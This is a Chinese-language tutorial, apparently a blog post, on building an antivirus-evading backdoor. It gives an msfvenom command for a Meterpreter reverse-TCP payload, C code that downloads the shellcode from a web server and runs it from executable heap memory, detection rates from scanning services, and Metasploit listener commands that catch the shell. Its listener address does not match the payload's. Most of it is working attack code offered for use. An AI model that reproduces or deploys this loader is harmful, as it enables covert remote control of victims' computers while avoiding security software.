将生成的shellcode放到web服务器上，本地不保存恶意代码，本地只负责加载到内存运行，这样可以很好的躲过查杀。

1. 生成shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

2.使用获取代码，前提搭建好http服务器，并将shellcode写入服务器页面中。

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")char * GetUrlPage(char *URL, char *SubPath)
{HINTERNET hInternet, hConnect, hRequest = NULL;DWORD dwOpenRequestFlags, dwRet = 0;unsigned char *pResponseHeaderIInfo = NULL;DWORD dwResponseHeaderIInfoSize = 2048;BYTE *pBuf = NULL;DWORD dwBufSize = 64 * 2048;hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);if (NULL == hConnect)return NULL;dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);HttpSendRequest(hRequest, NULL, 0, NULL, 0);pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);pBuf = new BYTE[dwBufSize];RtlZeroMemory(pBuf, dwBufSize);InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);return (char *)pBuf;
}int main(int argc, char * argv[])
{char *shellcode = GetUrlPage("192.168.1.20", "/shellcode");printf("%s \n", shellcode);system("pause");return 0;
}

3.处理shellcode代码，并将其加载到堆，并设置可读可执行，执行代码反弹即可。

int shellcode_length = strlen(ShellCode);unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));for (size_t count = 0; count < shellcode_length / 2; count++){sscanf(ShellCode, "%2hhx", &value[count]);ShellCode += 2;}void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, value, shellcode_length /2 );((void(*)())exec)();

测试，查毒率 VirScan - 多引擎文件在线检测平台 49个引擎，只有三个报毒。

第二个 VirusTotal ，查毒率

3.最后，生成成功后，我们将攻击主机运行一个监听事件，然后打开生成后的后门，然后发现能够成功上线。

[root@localhost ~]# msfconsole
msf5 >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z